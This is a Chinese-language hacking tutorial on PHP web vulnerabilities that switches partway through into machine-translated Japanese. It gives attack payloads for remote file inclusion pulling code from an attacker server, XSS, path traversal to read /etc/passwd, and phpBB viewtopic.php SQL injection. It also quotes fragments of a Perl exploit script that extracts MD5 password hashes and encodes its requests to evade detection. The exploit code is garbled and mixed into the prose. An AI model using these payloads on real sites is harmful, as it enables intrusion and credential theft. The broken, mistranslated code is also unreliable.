从现在的网络安全来看,大家最关注和接触最多的WEB页面漏洞应该是ASP了,在这方面,小竹是专家,我没发言权。然而在PHP方面来看,也同样存在很严重的安全问题,但是这方面的文章却不多。在这里,就跟大家来稍微的讨论一下PHP页面的相关漏洞吧。
我对目前常见的PHP漏洞做了一下总结,大致分为以下几种:包含文件漏洞,脚本命令执行漏洞,文件泄露漏洞,SQL注入漏洞等几种。当然,至于COOKIE欺骗等一部分通用的技术就不在这里讨论了,这些资料网上也很多。那么,我们就一个一个来分析一下怎样利用这些漏洞吧!
首先,我们来讨论包含文件漏洞。这个漏洞应该说是PHP独有的吧。这是由于不充分处理外部提供的恶意数据,从而导致远程攻击者可以利用这些漏洞以WEB进程权限在系统上执行任意命令。我们来看一个例子:假设在a.php中有这样一句代码:
以下是引用片段:
include($include."/xxx.php");
?>
在这段代码中,$include一般是一个已经设置好的路径,但是我们可以通过自己构造一个路径来达到攻击的目的。比方说我们提交:a.php?include=http://web/b.php,这个web是我们用做攻击的空间,当然,b.php也就是我们用来攻击的代码了。我们可以在b.php中写入类似于:passthru("/bin/ls /etc");的代码。这样,就可以执行一些有目的的攻击了。(注:Web服务器应该不能执行php代码,不然就出问题了。相关详情可以去看<<如何对PHP程序中的常见漏洞进行攻击>>)。在这个漏洞方面,出状况的很多,比方说:PayPal Store Front,HotNews,Mambo Open Source,PhpDig,YABB SE,phpBB,InvisionBoard,SOLMETRA SPAW Editor,Les Visiteurs,PhpGedView,X-Cart等等一些。
接着,我们再来看一下脚本命令执行漏洞。这是由于对用户提交的URI参数缺少充分过滤,提交包含恶意HTML代码的数据,可导致触发跨站脚本攻击,可能获得目标用户的敏感信息。我们也举个例子:在PHP Transparent的PHP PHP 4.3.1以下版本中的index.php页面对PHPSESSID缺少充分的过滤,我们可以通过这样的代码来达到攻击的目的:http://web/index.php?PHPSESSID=">在script里面我们可以构造函数来获得用户的一些敏感信息。在这个漏洞方面相对要少一点,除了PHP Transparent之外还有:PHP-Nuke,phpBB,PHP Classifieds,PHPix,Ultimate PHP Board等等。
再然后,我们就来看看文件泄露漏洞了,这种漏洞是由于对用户提交参数缺少充分过滤,远程攻击者可以利用它进行目录遍历攻击以及获取一些敏感信息。我们拿最近发现的phpMyAdmin来做例子。在phpMyAdmin中,export.php页面没有对用户提交的'what'参数进行充分过滤,远程攻击者提交包含多个'../'字符的数据,便可绕过WEB ROOT限制,以WEB权限查看系统上的任意文件信息。比方说打入这样一个地址:export.php?what=../../../../../../etc/passwd%00 就可以达到文件泄露的目的了。在这方面相对多一点,有:myPHPNuke,McNews等等。
最后,我们又要回到最兴奋的地方了。想想我们平时在asp页面中用SQL注入有多么爽,以前还要手动注入,一直到小竹悟出"SQL注入密笈"(嘿嘿),然后再开做出NBSI以后,我们NB联盟真是拉出一片天空。曾先后帮CSDN,大富翁论坛,中国频道等大型网站找出漏洞。(这些废话不多说了,有点跑题了...)。
还是言规正传,其实在asp中SQL的注入和php中的SQL注入大致相同,只不过稍微注意一下用的几个函数就好了。将asc改成ASCII,len改成LENGTH,其他函数基本不变了。其实大家看到PHP的SQL注入,是不是都会想到PHP-NUKE和PHPBB呢?不错,俗话说树大招分,像动网这样的论坛在asp界就该是漏洞这王了,这并不是说它的论坛安全太差,而是名气太响,别人用的多了,研究的人也就多了,发现的安全漏洞也就越多了。PHPBB也是一样的,现在很大一部分人用PHP做论坛的话,一般都是选择了PHPBB。它的漏洞也是一直在出,从最早phpBB.com phpBB 1.4.0版本被人发现漏洞,到现在最近的phpBB 2.0.6版本的groupcp.php,,以及之前发现的search.php,profile.php,viewtopic.php等等加起来,大概也有十来个样子吧。这也一直导致,一部分人在研究php漏洞的时候都会拿它做实验品,所谓百练成精嘛,相信以后的PHPBB会越来越好。
それでは、脆弱性の理由を分析しましょう。 viewtopic.php ページを例に挙げると、viewtopic.php を呼び出すと、「topic_id」が GET リクエストから直接取得され、フィルタリングなしで SQL クエリ コマンドに渡されます。 MD5 パスワード このパスワード情報を取得すると、自動ログインやブルート フォース クラッキングに使用できます。 (特に重要な理由がない限り、誰もそれを強引にやりたいとは思わないと思います)。まず関連するソースコードを見てみましょう:
以下は引用部分です:
# if(isset($HTTP_GET_VARS[POST_TOPIC_URL]))
#
# }
# elseif(isset($HTTP_GET_VARS ['topic']))
# {
# $topic_id=intval($HTTP_GET_VARS['topic']); 上記から、送信された view=newest と sid が値に設定されている場合、実行されるクエリ コードは次のようになります (PHPBB ソース コードをまだ見ていない場合は、それを読んでからここを参照することをお勧めします。影響を受けるシステムは :phpBB 2.0.5 および phpBB 2.0.4 です)。
以下は引用部分です: # $sql = "SELECT p.post_id # WHERE s.session_id = '$session_id'#
# ORDER BY p.post_time ASC # LIM IT1」 ; Rick は次のテストコードを提供しました: use IO::Socket; $remote = shift || 'localhost'; $port = 80 ; $dBType = 'mysql4'; # mysql4 または pgsql print "uid のパスワードハッシュを取得しようとしています $uid サーバー $remote dbtype: $dBType "; $p = ""; for($index =1; $index $socket = IO::Socket::INET-> new(PeerAddr => $remote, PeerPort => $@ "; str = "GET $view_topic" . "?sid=1&topic_id=-1" .random_encode(make_dbsql()) " HTTP/1.0 "; print $socket "Cookie: phpBB2mysql_sid=1 "; { if ($answer =~ /location:.*x23(d+)/) # 場所と一致します: viewtopic.php?p=#
{ $p 。 = chr (); } } close($socket); } print " uid $uid の MD5 ハッシュは $p "; # ランダムエンコード str は検出を回避するのに役立ちます sub random_encode { $ str = shift; $ret = ""; for($i=0; $i{ $c = substr($str,$i,1);
http://www.bkjia.com/PHPjc/446957.html
www.bkjia.com
本当
http://www.bkjia.com/PHPjc/446957.html
技術記事 現在のネットワーク セキュリティから判断すると、誰もが最も懸念し、最も危険にさらされている Web ページの脆弱性は ASP であるはずです。この点に関しては、Xiaozhu が専門家であり、私には何も言えません。ただし、PHP の観点から見ると、それも同じです...